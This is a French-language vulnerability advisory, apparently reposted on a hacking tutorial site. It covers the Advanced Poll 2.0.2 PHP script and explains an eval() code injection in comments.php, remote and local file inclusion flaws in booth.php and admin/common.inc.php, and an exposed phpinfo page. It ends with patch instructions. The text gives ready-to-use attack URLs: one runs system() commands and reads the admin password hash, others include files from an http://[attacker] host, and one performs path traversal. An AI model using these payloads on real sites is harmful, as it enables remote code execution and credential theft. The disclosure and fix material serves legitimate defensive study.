Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
les DRM c’est la grippe aviaire du numérique et de la culture
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > AdvancedPoll2.0.2


    AdvancedPoll2.0.2

    Advanced Poll
    *************
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Version : 2.0.2 TextFile
    Website : http://www.proxy2.de
    Problèmes :
    - Injection de code PHP via eval()
    - Inclusions de fichiers
    - phpinfo()

    Developpement :
    °°°°°°°°°°°°°°°
    Advanced Poll est un système de sondage avec templates, multi-sondages, notification par email, partie admin,...
    Au début du fichier comments.php, on voit les lignes suivantes :
    ------------------------------------------------------------------------------------------------------
    [...]
    $register_poll_vars = array("id","template_set","action");

    for ($i=0;$i<sizeof($register_poll_vars);$i++) {
    if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";");
    } else {
    eval("\$$register_poll_vars[$i] = '';");
    }
    }
    [...]
    ------------------------------------------------------------------------------------------------------
    On voit d'abord un tableau nommé register_poll_vars et contenant les 3 éléments "id", "template_set" et "action".
    Ensuite, autant de fois qu'il y a d'éléments dans ce dernier tableau (3), on répétera un code qui :
    - Si un des 3 éléments est le nom d'une variable POST, exécutera la ligne :
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    - sinon, si un des 3 éléments est le nom d'une variable GET, exécutera la ligne :
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    - sinon, exécutera la ligne :
    eval("\$$register_poll_vars[$i] = '';");

    Les lignes qui nous interessent sont bien sûr :
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    ou
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    car on peut y modifier des variables POST ou GET nous même. Les noms de ces variables étant id, template_set ou action.
    eval() exécute le code qui lui est donné en argument, l'argument étant ici (je prend comme exemple la ligne avec le GET ) :
    \$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";
    donc si $i vaut 0, $register_poll_vars[$i] vaut "id" (1->"template_set", 2->"action"). Et si $register_poll_vars[$i]
    vaut "id", $HTTP_GET_VARS[$register_poll_vars[$i]] (ou $HTTP_GET_VARS["id"]) est une variable dont on peut nous-mêmes
    définir la valeur.
    Ainsi, si on tape l'url http://[target]/comments.php?id=test1, eval() exécutera le code :
    --------------
    $id = "test1";
    --------------
    Même chose pour template_set et action; si on tape l'url
    http://[target]/comments.php?id=test1&template_set=test2&action=test3, le code suivant sera exécuté par eval :
    --------------
    $id = "test1";
    --------------
    puis
    ------------------------
    $template_set = "test2";
    ------------------------
    puis
    ------------------
    $action = "test3";
    ------------------
    Même résultat avec le formulaire POST :
    ----------------------------------------------------------
    <form action="http://[target]/comments.php" method="POST">
    <input name="id" value="test1">
    <input name="template_set" value="test2">
    <input name="action" value="test3">
    <input type="submit">
    </form>
    ----------------------------------------------------------
    Mais imaginons maintenant que ça ne soit plus "test1" qui soit donné comme valeur à une des ces droits variables,
    mais : ";phpinfo();// par exemple via l'url http://[target]/comments.php?id=";phpinfo();// .
    Le code exécuté par eval alors ne serait plus :
    --------------
    $id = "test1";
    --------------
    mais :
    -----------------------
    $id = "";phpinfo();//";
    -----------------------
    La variable ne vaudrait pas "test1", elle ne vaudrait plus rien. Ensuite une fonction phpinfo() serait exécutée,
    et les derniers caractères "; seraient considérés comme du commentaire à cause des caractères // qui les précèdent.
    On a donc réussit à injecter du code (encore une fois possible via formulaire POST), et à partir de là on peut imaginer
    beaucoup de chose. Un exemple : l'url
    http://[target]/comments.php?id=";include("/include/config.inc.php");echo"$pollvars['poll_password']&template_set=";$include_path="http://[attacker]&action=";system($cmd);//&cmd=ls
    donne à la variable :
    - id la valeur :
    ";include("/include/config.inc.php");echo"$pollvars['poll_password']
    - template_set la valeur :
    ";$include_path="http://[attacker]
    - action la valeur :
    ";system($cmd);//
    pour faire exécuter à eval() les lignes de code :
    -------------------------------------------------------------------------------------------
    $id = "";include("/include/config.inc.php");echo"$pollvars['poll_password']";
    $template_set = "";$include_path="http://[attacker]";
    $action = "";system($cmd);//";
    -------------------------------------------------------------------------------------------
    La première ligne inclut le fichier /include/config.inc.php, et affiche la variable $pollvars['poll_password'] qu'il
    contient, le password admin crypté.
    La deuxième ligne définit la variable $include_path comme étant "http://[attacker]". Cela peut servir plus bas, car on
    voit les lignes :
    -------------------------------------------------------
    require $include_path."/include/config.inc.php";
    require $include_path."/include/class_poll.php";
    require $include_path."/include/class_pollcomment.php";
    -------------------------------------------------------
    donc si un de ces 3 fichiers se trouve sur le site http://[attacker], ils seront inclut et exécutés.
    La troisième ligne contient une fonction system() qui exécute la commande contenue dans $cmd. $cmd est ici définie
    dans l'url comme étant "ls".
    Cette faille se retrouve dans la version DB.



    Voyons maintenant les differentes failles include(), qui sont plutôt particulières.
    La première est la plus surprenante, car elle ne fonctionne QUE SI register_globas VAUT OFF dans le php.ini.
    Alors qu'evidemment, la majorité du temps, c'est uniquement quand cette option vaut ON qu'une faille de ce type
    est utilisable.
    Elle se trouve dans le fichier booth.php, où on peut voir les lignes de code suivantes :
    ---------------------------------------------------------------
    <?php

    $include_path = dirname(__FILE__);
    if ($include_path == "/") {
    $include_path = ".";
    }

    if (!isset($PHP_SELF)) {
    global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
    $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"];
    if (isset($HTTP_GET_VARS)) {
    while (list($name, $value)=each($HTTP_GET_VARS)) {
    $$name=$value;
    }
    }
    if (isset($HTTP_POST_VARS)) {
    while (list($name, $value)=each($HTTP_POST_VARS)) {
    $$name=$value;
    }
    }
    if(isset($HTTP_COOKIE_VARS)){
    while (list($name, $value)=each($HTTP_COOKIE_VARS)){
    $$name=$value;
    }
    }
    }

    require $include_path."/include/config.inc.php";
    require $include_path."/include/class_poll.php";
    [...]
    ---------------------------------------------------------------
    Imaginons que le code central ne soit pas là, et qu'on ait juste les lignes :
    --------------------------------------------------
    <?php

    $include_path = dirname(__FILE__);
    if ($include_path == "/") {
    $include_path = ".";
    }

    require $include_path."/include/config.inc.php";
    require $include_path."/include/class_poll.php";
    [...]
    --------------------------------------------------
    Dans ce cas, aucune inclusion n'est possible, vu que $include_path est définit.
    Mais il y a ce code central ! On y voit d'abord :
    -----------------
    !isset($PHP_SELF)
    -----------------
    Quand cette condition est-elle vraie ? Quand la variable $PHP_SELF est-elle vide ?
    La réponse est : quand register_globals=OFF. Il faut savoir que, si register_globals=ON, la variable $PHP_SELF
    contient le chemin et le nom du fichier depuis lequel cette variable est appelée. Si l'option est OFF, $PHP_SELF
    ne contient plus cette valeur; elle se trouve dans $HTTP_SERVER_VARS["PHP_SELF"].
    On voit ensuite :
    ----------------------------------------------------------
    if (isset($HTTP_GET_VARS)) {
    while (list($name, $value)=each($HTTP_GET_VARS)) {
    $$name=$value;
    }
    }
    if (isset($HTTP_POST_VARS)) {
    while (list($name, $value)=each($HTTP_POST_VARS)) {
    $$name=$value;
    }
    }
    if(isset($HTTP_COOKIE_VARS)){
    while (list($name, $value)=each($HTTP_COOKIE_VARS)){
    $$name=$value;
    }
    }
    ----------------------------------------------------------
    Ce bout de programme transforme toutes les variables GET, POST ou COOKIE comme variables globales...
    Mais cela peut donc aussi permettre de redéfinir des variables globales déjà définies; comme par exemple $include_path !
    Ainsi, pour inclure les fichiers http://[attacker]/include/config.inc.php et http://[attacker]/include/class_poll.php dans
    le fichier http://[target]/booth.php si register_globals=OFF, il suffit de taper l'url :
    http://[target]/booth.php?include_path=http://[attacker]
    ou encore d'envoyer le formulaire :
    ---------------------------------------------------------------------
    <form method="POST" action="http://[target]/booth.php">
    <input type="text" name="include_path" value="http://[attacker]"><br>
    <input type="Submit">
    </form>
    ---------------------------------------------------------------------
    ou enfin d'envoyer un cookie avec comme nom "include_path" et comme valeur "http://[attacker]" sur la page
    http://[target]/booth.php .
    Cette même faille est possible avec les fichiers poll_ssi.php et popup.php dans lesquels on peut voir :
    ----------------------
    include "./booth.php";
    ----------------------
    Et aussi dans png.php, qui contient le même code que booth.php, avec une inclusion en plus :
    ------------------------------------------------
    require $include_path."/include/class_pgfx.php";
    ------------------------------------------------


    La dernière faille include se trouve dans le fichier admin/common.inc.php :
    ---------------------------------------------------------------
    [...]
    if (!isset($PHP_SELF)) {
    $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"];
    if (isset($HTTP_GET_VARS)) {
    while (list($name, $value)=each($HTTP_GET_VARS)) {
    $$name=$value;
    }
    }
    if (isset($HTTP_POST_VARS)) {
    while (list($name, $value)=each($HTTP_POST_VARS)) {
    $$name=$value;
    }
    }
    if(isset($HTTP_COOKIE_VARS)){
    while (list($name, $value)=each($HTTP_COOKIE_VARS)){
    $$name=$value;
    }
    }
    }

    $pollvars['SELF'] = basename($PHP_SELF);
    unset($lang);
    if (file_exists("$base_path/lang/$pollvars[lang]")) {
    include ("$base_path/lang/$pollvars[lang]");
    } else {
    include ("$base_path/lang/english.php");
    }
    [...]
    ---------------------------------------------------------------
    On a d'abord encore une fois le même code. On peut donc définir/redéfinir des variables, et la faille fonctionnera
    avec register_globals=OFF.
    Puis on voit le code :
    -----------------------------------------------------
    if (file_exists("$base_path/lang/$pollvars[lang]")) {
    include ("$base_path/lang/$pollvars[lang]");
    } else {
    include ("$base_path/lang/english.php");
    }
    -----------------------------------------------------
    On voit d'abord qu'il y a deux inclusions, une avec deux variables, l'autre avec une.
    On voit aussi que la variable contenant le début du path du fichier à inclure n'est plus $include_path mais bien
    $base_path.
    Mais ici, contrairement aux premières failles, $base_path n'est défini nulle part ! On pourra donc définir cette variable
    que register_globals soit sur ON OU sur OFF.
    La première inclusion est vérifiée par un file_exists(), on ne pourra donc que inclure des fichiers locaux.
    Par contre, on pourra choisir le chemin ET le nom du fichier, avec une url du type :
    http://[target]/admin/common.inc.php?base_path=..&pollvars[lang]=../../../file/to/view
    Mais attention ! Ici, pollvars[lang] est déjà définie dans l'exécution du script. Cette dernière URL ne fonctionnera, elle,
    que si register_globals=OFF.
    Autre chose pour cette url, $base_path doit toujours être le chemin de la racine d'Advanced Poll, car il n'y a que
    là que se trouve un dossier /lang/ où le fichier est recherché.
    La faille qui fonctionne sur ON ou OFF, c'est la deuxième inclusion :
    --------------------------------------------
    include ("$base_path/lang/english.php");
    --------------------------------------------
    qui permettra d'inclure le fichier http://[attacker]/lang/english.php avec une url de type :
    http://[target]/admin/common.inc.php?basepath=http://[attacker]
    ou encore une fois avec un formulaire ou par cookie...

    Cette même faille est reproductible (uniquement si register_globals=OFF) dans plusieurs fichiers du dossier
    /admin/ qui sont :
    - index.php
    - admin_tpl_new.php
    - admin_tpl_misc_new.php
    - admin_templates_misc.php
    - admin_templates.php
    - admin_stats.php
    - admin_settings.php
    - admin_preview.php
    - admin_password.php
    - admin_logout.php
    - admin_license.php
    - admin_help.php
    - admin_embed.php
    - admin_edit.php
    - admin_comment.php

    En effet on peut y voir les lignes :
    ------------------------------------
    [...]
    $include_path = dirname(__FILE__);
    $base_path = dirname($include_path);

    require "./common.inc.php";
    [...]
    ------------------------------------


    Enfin la faille phpinfo(), classique... elle se trouve dans le fichier misc/info.php :
    -------------------------
    <html>
    <head>
    <title>PHP Info</title>
    </head>
    <body bgcolor="#3A6EA5">
    <?php
    phpinfo();
    ?>
    -------------------------


    Solutions :
    °°°°°°°°°°°
    Un patch est disponible sur http://www.phpsecure.info. Voici néanmoins une rapide expliquation :
    - Pour les codes du type :
    -------------------------------------------------------------
    if (!isset($PHP_SELF)) {
    $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"];
    if (isset($HTTP_GET_VARS)) {
    while (list($name, $value)=each($HTTP_GET_VARS)) {
    $$name=$value;
    }
    }
    if (isset($HTTP_POST_VARS)) {
    while (list($name, $value)=each($HTTP_POST_VARS)) {
    $$name=$value;
    }
    }
    if(isset($HTTP_COOKIE_VARS)){
    while (list($name, $value)=each($HTTP_COOKIE_VARS)){
    $$name=$value;
    }
    }
    }
    -------------------------------------------------------------
    il faut les mettre en premier, avant toutes déclarations de variables ou inclusions de fichiers.

    - misc/info.php doit être simplement supprimé.

    - Dans admin/common.inc.php, rajouter les lignes :
    -------------------------------------
    $include_path = dirname(__FILE__);
    $base_path = dirname($include_path);
    -------------------------------------
    après le code rajouté plus haut, et supprimer ces deux lignes dans tout les fichiers du dossier /admin/ où
    admin/common.inc.php est inclut, sauf /admin/admin_password.php.

    - Dans comments.php, remplacer les lignes
    ----------------------------------------------------------------------------------------------------
    for ($i=0;$i<sizeof($register_poll_vars);$i++) {
    if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
    } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";");
    } else {
    eval("\$$register_poll_vars[$i] = '';");
    }
    }
    ----------------------------------------------------------------------------------------------------
    par
    ----------------------------------------------------------------------------------------------------------------
    for ($i=0;$i<sizeof($register_poll_vars);$i++) {
    if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".addslashes(trim($HTTP_POST_VARS[$register_poll_vars[$i]]))."\";");
    } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
    eval("\$$register_poll_vars[$i] = \"".addslashes(trim($HTTP_GET_VARS[$register_poll_vars[$i]]))."\";");
    } else {
    eval("\$$register_poll_vars[$i] = '';");
    }
    }
    ----------------------------------------------------------------------------------------------------------------


    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 24/10/03
    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 104 millisecondes